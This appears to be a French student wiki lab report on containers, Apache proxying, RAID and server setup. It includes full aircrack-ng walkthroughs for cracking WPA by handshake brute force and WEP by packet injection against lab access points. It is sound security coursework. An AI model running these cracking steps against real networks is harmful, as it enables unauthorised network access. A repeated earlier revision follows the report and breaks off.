Wiki d'activités IMA - Contributions de l’utilisateur [fr]

TP sysres IMA5sc 2018/2019 G9

2018-12-17T22:46:54Z

Tcattela : /* Crack de réseau WEP */

=Séance 1 : TP ASR=
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.

==Création d'un container avec unshare==

===Création de l'image disque===
dd if=/dev/zero of=disc1.img bs=1024K count=10240

===Mise en place du file system===
mkfs disc1.img

===Création du point de montage et montage de l'image===
mkdir /tmp/rootfs1
mount -o loop disc1.img /tmp/rootfs1

===Installation du debian dans le point de montage===
Afin de pouvoir installer debian, il faut que la machine accède à internet :

export http_proxy=http://proxy.polytech-lille.fr:3128/

debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :

debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1

===Simplification de l'accès===
echo "proc /proc proc defaults 0 0" >> /tmp/rootfs1/etc/fstab

===Clonage des images===
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :

umount /tmp/rootfs1

On copie l'image :

cp disc1.img disc2.img
cp disc1.img disc3.img

On monte les 3 images :

mount -o loop disc1.img /tmp/rootfs1
mount -o loop disc2.img /tmp/rootfs2
mount -o loop disc3.img /tmp/rootfs3

===Lancement des trois containers===
unshare nous permet de lancer les trois images précédemment montées :

unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c "mount /proc ; /bin/bash"

Les trois containers sont maintenant lancés, nous pouvons travailler dessus.

==Mise en place du réseau==

Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.

===Création de 4 interfaces virtuelles===

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

===Connexion de chaque interface à une interface eth0 sur les containers===

ip link set eth0@vif1 netns /proc/<pid1>/ns/net name eth0
ip link set eth0@vif2 netns /proc/<pid2>/ns/net name eth0
ip link set eth0@vif3 netns /proc/<pid3>/ns/net name eth0

pid1, pid2, pid3 peuvent être déterminés via la commande :
ps aux | grep unshare

===Connexion à eth1 sur le premier container===

ip link set eth1@vif1 netns /proc/<pid1>/ns/net name eth1

===Création d'un bridge===

ip link add interne type bridge

===Ajout de vif4 à bridge===
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge

ip link set vif4 master bridge

===Ajout de vif1, vif2, vif3 à interne===

ip link set vif1 master interne
ip link set vif2 master interne
ip link set vif3 master interne

===Activation de toutes les interfaces===

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set bridge up
ip link set interne up

===Attribution des adresses ip===

On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :

nsenter -t <PID1> -n ip address add dev eth0 192.168.4.1/24

nsenter -t <PID2> -n ip address add dev eth0 192.168.4.2/24

nsenter -t <PID3> -n ip address add dev eth0 192.168.4.3/24

On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :

nsenter -t <PID1> -n ip address add dev eth1 172.26.145.234/24

===Activation des interfaces sur les containers>===
Sur chaque containers, lancer :

ip link set dev eth0 up
ip link set dev lo up

Ainsi que sur le container 1 :

ip link set dev eth1 up

Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :

bridge : eth0 eth1 vif4

interne : vif1 vif2 vif3

Et donc :
root@zabeth04:/home/pifou# brctl show
bridge name bridge id STP enabled interfaces
br-d8330a30a134 8000.0242b8ae38c5 no
bridge 8000.00224d7aeaa1 no eth0
eth1
vif4
docker0 8000.0242ad165937 no veth0b1f71b
interne 8000.3ee68d5b1e14 no vif1
vif2
vif3

=Séance 2 : TP ASR (suite)=
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.

==Attribution des noms de domaine==

Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.

Onglet Domaines, on choisit le domaine plil.space.

Onglet DNS Records, on ajoute un DNS type A :

Nom : tham2
IP : 172.26.145.234

Puis on ajoute deux DNS type Cname :

Nom : tham1 & tham3
Nom d'hote : tham2

De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space

==Configuration d'apache2==

===Fichier conf===
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :

<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)

===Activation des modules proxy et proxy_http===

a2enmod proxy
a2enmod proxy_http

===Activation du site===

a2ensite 000-default.conf

Tout est maintenant configuré, on peut donc rebooter apache :

service apache2 restart

===Création d'une page web===

Dans les containers 2 et 3 on créé une simple page web et on reboot apache :

Container 2 :

cat 1 /var/www/html/index.html
service apache2 restart

Container 3 :

cat 3 /var/www/html/index.html
service apache2 restart

===Visualisation de la page web===

On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :

tham1.plil.space/index.html

firefox affiche 1

tham3.plil.space/index.html

firefox affiche 3

==Création d'un conteneur avec Docker :==
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.

===Création d'une première image :===
Nous avons créé un premier container à l'aide la commande :
docker run -i -t debian /bin/bash
Exporte de la variable d'environement hhtp_proxy :
export http_proxy=http://proxy.polytech-lille.fr:3128/
Instalation d'un éditeur de texte et d'un serveur web :
apt-get install nano vi apache2

===Création de trois conteneurs dans un même réseau :===
Avec un <code>docker ps</code> nous avons recupérer l'id du conteneur puis :
docker commit -m "debian" 367f5e8adddf
Création d'un réseau :
docker network create tham
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine :
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash
Et donc :
root@zabeth04:/home/pifou# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
8e4a821cf3a3 b7f9916f224e "/bin/bash" 18 minutes ago Up 18 minutes confident_leakey
c5ec790866ae b7f9916f224e "/bin/bash" 19 minutes ago Up 19 minutes objective_golick
b287061163af b7f9916f224e "/bin/bash" 22 minutes ago Up 22 minutes 0.0.0.0:80->80/tcp objective_bhabha
8ee36885e7fb registry:2 "/entrypoint.sh /etc…" 5 weeks ago Up 38 minutes 0.0.0.0:5000->5000/tcp registry

===Configuration de apache2 :===
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique
Puis dans <code>/etc/apache2/sites-available/</code> :

root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf
<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.

11h10 => Serveurs Web OK (unshare)

12h20 => Serveurs Web OK (docker)

=Séance 3 : TP PRA=
Le sujet choisi ici est le sujet n°10 : HP + DAS -> Baie.
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.

==Le matériel==
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :

XX
XX

Le SAS est un HP StorageWorks MSA60.
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.

Sur le panneau arrière nous constatons qu'il y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)

==Mise en route du serveur==
Lors de la mise en route du serveur, nous constations trois problèmes :
-Les ventilateurs tournent à 100% sans arrêt.
-La LED internal health clignote rouge.
-Un bip long est émis périodiquement.

De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.

Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.

Une fois remonté, le serveur bootait correctement.

==Installation de Devuan==
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.

Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.

Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).

==Configurations réseau==
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.

Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :

nano /etc/network/interfaces

Pour l'interface eth0 :

address 127.26.145.146/24
gateway 192.26.145.253

Ensuite, nous avons configuré les DNS :

nano /etc/resolv.conf

domain polytech-lille.org
search deule.net
nameserver 192.48.57.48
nameserver 193.48.57.33

Et enfin nous avons ajouté le proxy polytech :

nano ~/.profile

export http_proxy=http://proxy.polytech-lille.fr:3128

Une fois fait, notre serveur avait accès au réseau de polytech.

==Mise en route du DAS==
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.

IMAGE

Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.

Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.

De retour sur devuan, la grappe est visible via lsblk.

==Installation des outils HP==
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.

L'installation se fait via les étapes suivantes :

Ajout du dépôt :

nano /etc/apt/sources.list

deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free
deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free

Ajout des clés :

curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -

Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :

nano /etc/apt/sources.list

deb http://deb.devuan.org/merged ascii main
deb-src http://deb.devuan.org/merged ascii main

Rafraîchir les sources :

apt-get update

Installer curl :

apt-get install curl

Réessayer d'ajouter les clés.

Une fois fait, on eut procéder à l'installation des outils HP :

apt-get install hp-health ssacli

=Séance 4 : TP PRA (Suite)=
Dans un premier temps, nous commençons par remplacer les disques défectueux.
Grâce à la commande

ssacli ctrl all show config detail

nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).

Nous procédons au remplacement par des disques neufs.

Une fois fait, nous ajoutons le disque 6 qui était manquant.

Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.

On entre dans le programme ssacli et on fait un premier était des lieux :

ctrl all show config

Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.

On liste ensuite les disques physiques :

ctrl slot 4 pd all show

Notre disque a ajouter est le 1E:1:6

On l'ajoute alors a la grappe B :

array B add drives=1E:1:6

Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :

show

IMAGE

Etant donné que nous n'avons pas de données perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.

controller slot=4 array B delete

ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5

La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :

array B show

ctrl slot=4 show config

De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.

Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :

ctrl slot=4 show config

[[fichier:Reconstruction raid.jpg|center|600px]]

=Séance 5 : Mise en place du serveur DNS et crack WPA2=

==Mise en place du serveur DNS==

==Crack de réseau Wifi WPA==
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.

Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :

[[fichier:Ifconfig.png|center]]

Dans notre cas elle s'appelle wlp3s0.

On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :

ifconfig wlp3s0 down

On place la carte en "monitor mode"

airmon-ng start wlp3s0

On peut vérifier que l'interface est bien en monitor mode avec airmon-ng

[[fichier:Airmonng.png|center]]

Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :

airodump-ng mon0

[[fichier:Airodump.png|center]]

De ce scan, nous tirons plusieurs informations :
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.
-Nous notons son BSSID : 04:DA:D2:9C:50:53
-Son channel : 9

Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :

airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0

[[fichier:Handshake2.png|center]]

Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.

La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.

Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :

#include <stdio.h>

int main() {
for(int i=0;i<=99999999;i++) {
printf("%08d\n",i);
}
}

gcc -o dico dico.c
./dico > dico.txt

On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.

Le brute-force peut maintenant commencer :

aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt

Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :

[[fichier:Keyfound.png|center]]

L'image ci dessus nous montre enfin la clé WPA de cracotte04.
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.

==Utilisation de partitions virtuelles==

Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.

On commence par créer les partitions sur cordouan :

lvcreate -L10G -n aphrodite-home virtual
lvcreate -L10G -n aphrodite-var virtual

lvcreate -L10G -n aphrodite-part1 virtual
lvcreate -L10G -n aphrodite-part2 virtual
lvcreate -L10G -n aphrodite-part3 virtual

On ajoute ces partitions dans /etc/xen/aphrodite.cfg :

disk = [
'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',
'phy:/dev/virtual/aphrodite-home,xvdb1,w',
'phy:/dev/virtual/aphrodite-var,xvdc1,w'
'phy:/dev/virtual/aphrodite-part1,xvdd1,w'
'phy:/dev/virtual/aphrodite-part2,xvde1,w'
'phy:/dev/virtual/aphrodite-part3,xvdf1,w'
]

Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.

Afin que les modifications soient effectives, on reboot la VM.

===Var et Home===

De retour sur la VM, on créé un système de fichiers sur /dev/xvdb1 et /dev/xvdc1 :

mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdc1

Le home de notre VM étant vide, nous pouvons directement monter la nouvelle partition. Pour cela, on se rend dans /etc/fstab, et on modifie le point de montage existant du home :

/dev/xvdb1 /home ext4 defaults 0 2

C'en est tout pour le home, passons au var. La procédure sera légèrement différente dans le sens ou nous souhaitons sauver le contenu de notre var.

Pour cela, nous allons créer un point de montage temporaire de notre nouvelle partition var :

mkdir /mnt_var
mount /dev/xvdc1 /mnt_var

Nous transférons le contenu de notre ancier dossier var dans la nouvelle partition précédemment montée :

cd /var
cp -ax * /mnt_var

Nous faisons ensuite un backup de notre ancien dossier var :

mv /var /var.old

On recrée le point de montage, on démonte le point de montage temporaire et on monte le nouveau var :

mkdir /var
umount /dev/xvdc1
mount /dev/xvdc1 /var

On peut vérifier que tout est ok en lançant un apt-get update et vérifier qu'il n'y a pas de souci.

Ceci étant validé, il nous reste à ajouter la ligne suivante au /etc/fstab pour que le var soit monté à chaque démarrage de la VM :

/dev/xvdc1 /var ext4 defaults 0 0

Pour terminer, après avoir vérifié que tout est en ordre, on fait un peu de ménage :

rm -r /mnt_var
rn -r /var.old

===RAID===
Nous allons maintenant créer un RAID5 logiciel constitué des 3 partitions créées précédemment.
Pour ce faire, nous utiliserons l'utilitaire mdadm.

Les trois partitions sont sur /dev/xvdd1, /dev/xvde1, et /dev/xvdf1.

Nous allons donc créer le raid5 sur /dev/md0

mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1

On créé ensuite un filesystem dans la nouvelle partition raid :

mkfs -t ext4 /dev/md0

On créé un point de montage et on monte la partition :

mkdir /mnt_raid5
mount /dev/md0 /mnt_raid5

On automatise la création de la grappe :

mdadm --monitor --daemonise /dev/md0

Enfin, on automatise le montage de la partition en ajoutant la ligne suivante au /etc/fstab :

/dev/md0 /mnt_raid5/ ext4 defaults 0 1

Le lancement de la commande suivante permet de confirmer que tout est ok :

mdadm --detail /dev/md0

[[fichier:Raid5.png|center]]

=Séance 6=
==Crack de réseau WEP==
Nous avons essayé en classe de cracker les cracottes configurées en WEP, et nous nous sommes retrouvés face à deux problèmes :

1) Bien que la découverte des réseaux et du handshake se soit déroulés à merveille sur mon ordinateur avec sa carte wifi Qualcomm Atheros QCA9565 / AR9565, ici il m'était impossible de voir les réseaux WEP correctement avec airodump, je voyais des channel -1 et beaucoup d'autres choses abérantes. Après quelque recherches, des drivers non adaptés seraient la cause du souci. Je passe donc sur les dongles wifi mis à disposition.

2) Avec les dongles wifi, il n'y avais plus d'incohérences, mais je n'ai pas réussi à obtenir suffisamment de data pour cracker le réseau. Cela s'explique notemment par le fait qu'aucun client n'était connecté sur la cracotte, je ne pouvais pas faire d'attaque par deauthentication.

J'ai donc configuré une bbox en WEP avec le mot de passe le plus long (26 caractères), non connectée à internet, et uniquement connectée un smartphone.
Je boot ensuite un kali linux, l'image intégrant des drivers compatibles avec aircrack. L'operation peut commencer.

On liste les interfaces réseau :

airmon-ng

Mon interface s'appelle wlan0, je la passe en monitor mode :

airmon-ng start wlan0

Maintenant l'interface s'appelle wlan0mon. On lance le scan des réseaux WEP :

airodump-ng --encrypt wep wlan0mon

[[fichier:Screenshot from 2018-12-17 22-01-04 2.png|center]]

La box que nous allons attaquer s'appelle BOX_PRA. On récupère son BSSID, sa channel, et on lance la capture dans un fichier wep-*.cap :

airodump-ng --bssid 64:7C:34:76:CF:8C --ch 9 --write wep wlan0mon

La chose qui nous intéresse ici est le nombre de data. Plus son nombre est grand, plus nous avons de chance d'avoir les infos qui nous permetteront de décrypter la clé WEP. Un bon ordre de grandeur est autour de 20000.
Malheureusement ce nombre de data n'augmente pas rapidement car le trafic est quasi nul. C'est pourquoi nous allons faire de fausses connections à labos, ce qui nous permettra d'injecter par la suite des paquets ARP :

aireplay-ng --fakeauth 30 -a 64:7C:34:76:CF:8C wlan0mon

Afin de générer le paquet ARP, nous allons utiliser une attaque "fragment" :

aireplay-ng --fragment -b 64:7C:34:76:CF:8C -r wep-01.cap wlan0mon

Si l'attaque réussit, nous pouvons voir "GET A RELAYED PACKET". Ceci nous permet de générer un keystream, qui nous sera utile pour générer le paquet ARP :

packetforge-ng --arp -a 64:7C:34:76:CF:8C -h EC:0E:C4:0E:FD:71 -k 192.168.1.2 -l 192.168.1.254 -y fragment-1217-222915.xor -w arp

On sait que la box est une bbox, cette dernière utilise apr défaut l'ip 192.168.1.254. On choisit arbitrairement 192.168.1.2 comme IP destinée à recevoir le paquet. On choisit aussi une MAC correcpondant à un 'client'.
Notre paquet ARP est maintenant prêt, on lance l'injection :

aireplay-ng --arpreplay -b 64:7C:34:76:CF:8C -r arp wlan0mon

Au lancement,on remarque que le nombre de data capturées augmente significativement, pour ensuite s'arrêter lorsqu'un client régulier s'est fait déconnecter. On arrête l'injection, et on recommence quelque secondes plus tard.

Une fois le nombre de data suffisant, on lance le crack :

aircrack-ng wep-01.cap

Et KEY FOUND !

[[fichier:Screenshot from 2018-12-17 22-37-26.png|center|800px]]

Pour conclure, on comprend bien ici pourquoi la sécurisation WEP a disparu : un réseau sécurisé avec le nombre maximum de caractères est piratable en quelque minutes, sans le moindre dictionnaire, uniquement avec des paquets récupérés. Le WPA est donc une excellente alternative au WEP.

Fichier:Screenshot from 2018-12-17 22-01-04 2.png

2018-12-17T22:45:56Z

Tcattela :

TP sysres IMA5sc 2018/2019 G9

2018-12-17T22:32:09Z

Tcattela : /* Séance 6 */

=Séance 1 : TP ASR=
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.

==Création d'un container avec unshare==

===Création de l'image disque===
dd if=/dev/zero of=disc1.img bs=1024K count=10240

===Mise en place du file system===
mkfs disc1.img

===Création du point de montage et montage de l'image===
mkdir /tmp/rootfs1
mount -o loop disc1.img /tmp/rootfs1

===Installation du debian dans le point de montage===
Afin de pouvoir installer debian, il faut que la machine accède à internet :

export http_proxy=http://proxy.polytech-lille.fr:3128/

debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :

debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1

===Simplification de l'accès===
echo "proc /proc proc defaults 0 0" >> /tmp/rootfs1/etc/fstab

===Clonage des images===
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :

umount /tmp/rootfs1

On copie l'image :

cp disc1.img disc2.img
cp disc1.img disc3.img

On monte les 3 images :

mount -o loop disc1.img /tmp/rootfs1
mount -o loop disc2.img /tmp/rootfs2
mount -o loop disc3.img /tmp/rootfs3

===Lancement des trois containers===
unshare nous permet de lancer les trois images précédemment montées :

unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c "mount /proc ; /bin/bash"

Les trois containers sont maintenant lancés, nous pouvons travailler dessus.

==Mise en place du réseau==

Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.

===Création de 4 interfaces virtuelles===

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

===Connexion de chaque interface à une interface eth0 sur les containers===

ip link set eth0@vif1 netns /proc/<pid1>/ns/net name eth0
ip link set eth0@vif2 netns /proc/<pid2>/ns/net name eth0
ip link set eth0@vif3 netns /proc/<pid3>/ns/net name eth0

pid1, pid2, pid3 peuvent être déterminés via la commande :
ps aux | grep unshare

===Connexion à eth1 sur le premier container===

ip link set eth1@vif1 netns /proc/<pid1>/ns/net name eth1

===Création d'un bridge===

ip link add interne type bridge

===Ajout de vif4 à bridge===
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge

ip link set vif4 master bridge

===Ajout de vif1, vif2, vif3 à interne===

ip link set vif1 master interne
ip link set vif2 master interne
ip link set vif3 master interne

===Activation de toutes les interfaces===

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set bridge up
ip link set interne up

===Attribution des adresses ip===

On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :

nsenter -t <PID1> -n ip address add dev eth0 192.168.4.1/24

nsenter -t <PID2> -n ip address add dev eth0 192.168.4.2/24

nsenter -t <PID3> -n ip address add dev eth0 192.168.4.3/24

On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :

nsenter -t <PID1> -n ip address add dev eth1 172.26.145.234/24

===Activation des interfaces sur les containers>===
Sur chaque containers, lancer :

ip link set dev eth0 up
ip link set dev lo up

Ainsi que sur le container 1 :

ip link set dev eth1 up

Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :

bridge : eth0 eth1 vif4

interne : vif1 vif2 vif3

Et donc :
root@zabeth04:/home/pifou# brctl show
bridge name bridge id STP enabled interfaces
br-d8330a30a134 8000.0242b8ae38c5 no
bridge 8000.00224d7aeaa1 no eth0
eth1
vif4
docker0 8000.0242ad165937 no veth0b1f71b
interne 8000.3ee68d5b1e14 no vif1
vif2
vif3

=Séance 2 : TP ASR (suite)=
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.

==Attribution des noms de domaine==

Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.

Onglet Domaines, on choisit le domaine plil.space.

Onglet DNS Records, on ajoute un DNS type A :

Nom : tham2
IP : 172.26.145.234

Puis on ajoute deux DNS type Cname :

Nom : tham1 & tham3
Nom d'hote : tham2

De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space

==Configuration d'apache2==

===Fichier conf===
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :

<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)

===Activation des modules proxy et proxy_http===

a2enmod proxy
a2enmod proxy_http

===Activation du site===

a2ensite 000-default.conf

Tout est maintenant configuré, on peut donc rebooter apache :

service apache2 restart

===Création d'une page web===

Dans les containers 2 et 3 on créé une simple page web et on reboot apache :

Container 2 :

cat 1 /var/www/html/index.html
service apache2 restart

Container 3 :

cat 3 /var/www/html/index.html
service apache2 restart

===Visualisation de la page web===

On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :

tham1.plil.space/index.html

firefox affiche 1

tham3.plil.space/index.html

firefox affiche 3

==Création d'un conteneur avec Docker :==
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.

===Création d'une première image :===
Nous avons créé un premier container à l'aide la commande :
docker run -i -t debian /bin/bash
Exporte de la variable d'environement hhtp_proxy :
export http_proxy=http://proxy.polytech-lille.fr:3128/
Instalation d'un éditeur de texte et d'un serveur web :
apt-get install nano vi apache2

===Création de trois conteneurs dans un même réseau :===
Avec un <code>docker ps</code> nous avons recupérer l'id du conteneur puis :
docker commit -m "debian" 367f5e8adddf
Création d'un réseau :
docker network create tham
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine :
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -i -t b7f9916f224e /bin/bash
